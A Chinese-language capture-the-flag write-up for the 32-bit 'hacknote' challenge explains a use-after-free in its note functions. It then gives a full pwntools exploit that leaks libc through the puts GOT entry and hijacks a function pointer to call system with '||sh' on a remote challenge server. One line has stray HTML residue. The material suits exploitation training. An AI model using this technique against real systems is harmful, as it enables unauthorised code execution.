目录
-
- 题目分析
-
- 主函数
- Add note功能:
- delete_note功能:
- print_note功能:
- 漏洞分析
- 攻击代码
题目分析
主函数
主函数相对简单,即输入1-4,执行相应的功能
Add note功能:
存在一个notelist表,notelist每次执行可放置5个元素Add如果有空闲空间,请申请8byte的空间,前4byte字节存放putself函数地址,后4byte再申请一个子空间,大小为size,用户输入内容如下: 这里有两点. 有一个函数put_self,如果函数参数为1,则后四个字节指向另一个空间,用户可以输入大小和内容
delete_note功能:
delete_note比较简单,就是free Add函数应用空间,但存在UAF漏洞
print_note功能:
很简单,就是调用notelist表中指向地址的函数,参数本身,如图所示,正常情况是put_self参数是自己的地址(这里是0xfffffff)
漏洞分析
漏洞主要存在于add_note和delete_note中,假设一个这样的场景:
- 先add_note(),申请一块size=16空间,内容随意
- 再add_note(),并申请一块size=16空间,内容随意
- delete_note(1),delete_note(2)整体结构如图所示:
- 再add_note(),申请一块size=8空间,内容随意,此时会发送变化。add_note需要8byte,第二次使用add_note()释放8byte空间,也就是2号,因为第二次申请是8号byte,则第一次add_note()被释放8byte即1号被使用,图为: 这个时候很有意思。因为删除时只释放每个释放指针的内存,所以note_list中间的1和2仍然指向原始地址空间,而三个指向的地址空间是1和2的8字节的地址数据可以写在二级指针上,3可以指向1byte字节写入数据
我们的思想是通过的notelist[3]可直接控制notelist[1]空间,将notelist[1]的put_self换成system,sub_chunk换成||sh
这个||sh是shell注入,因为根据原来的注入show逻辑是这样的
system(notelist[i]) 现在为system( XXXX||sh),先执行system(XXXX),若不行则执行system(sh)
攻击代码
from pwn import * url, port = "61.147.171.105", 51068 filename = "./hacknote" elf = ELF(filename) # context(arch="amd32", os="linux") context(arch="i386", os="linux") debug = 0 if debug: context.log_level="debug" io = process(filename) context.terminal = ['tmux', 'splitw', '-h'] libc = elf.libc # gdb.attach(io) else: libc = ELF("./libc_32.so.6") io = remote(url, port) def BK(): gdb.attach(iospan class="token punctuation">) # "b *" + str(hex(addr))
def Add(size,content):
io.sendlineafter(b'Your choice :',b'1')
io.sendlineafter(b'Note size :',str(size))
io.sendlineafter(b'Content :',content)
def Print(index):
io.sendlineafter(b'Your choice :',b'3')
io.sendlineafter(b'Index :',str(index))
def Del(index):
io.sendlineafter(b'Your choice :',b'2')
io.sendlineafter(b'Index :',str(index))
def pwn():
Add(0x20, "zzzz")
Add(0x20, "zzzz")
Del(0)
Del(1)
puts_func_addr = 0x804862B
puts_got = elf.got['puts']
payload = p32(puts_func_addr) + p32(puts_got)
Add(0x8, payload)
Print(0)
libc_base = u32(io.recv(4)) - libc.sym['puts']
Del(2)
system_addr = libc_base + libc.sym["system"]
payload = p32(system_addr) + b"||sh"
Add(0x8, payload)
Print(0)
io.interactive()
if __name__ == '__main__':
pwn()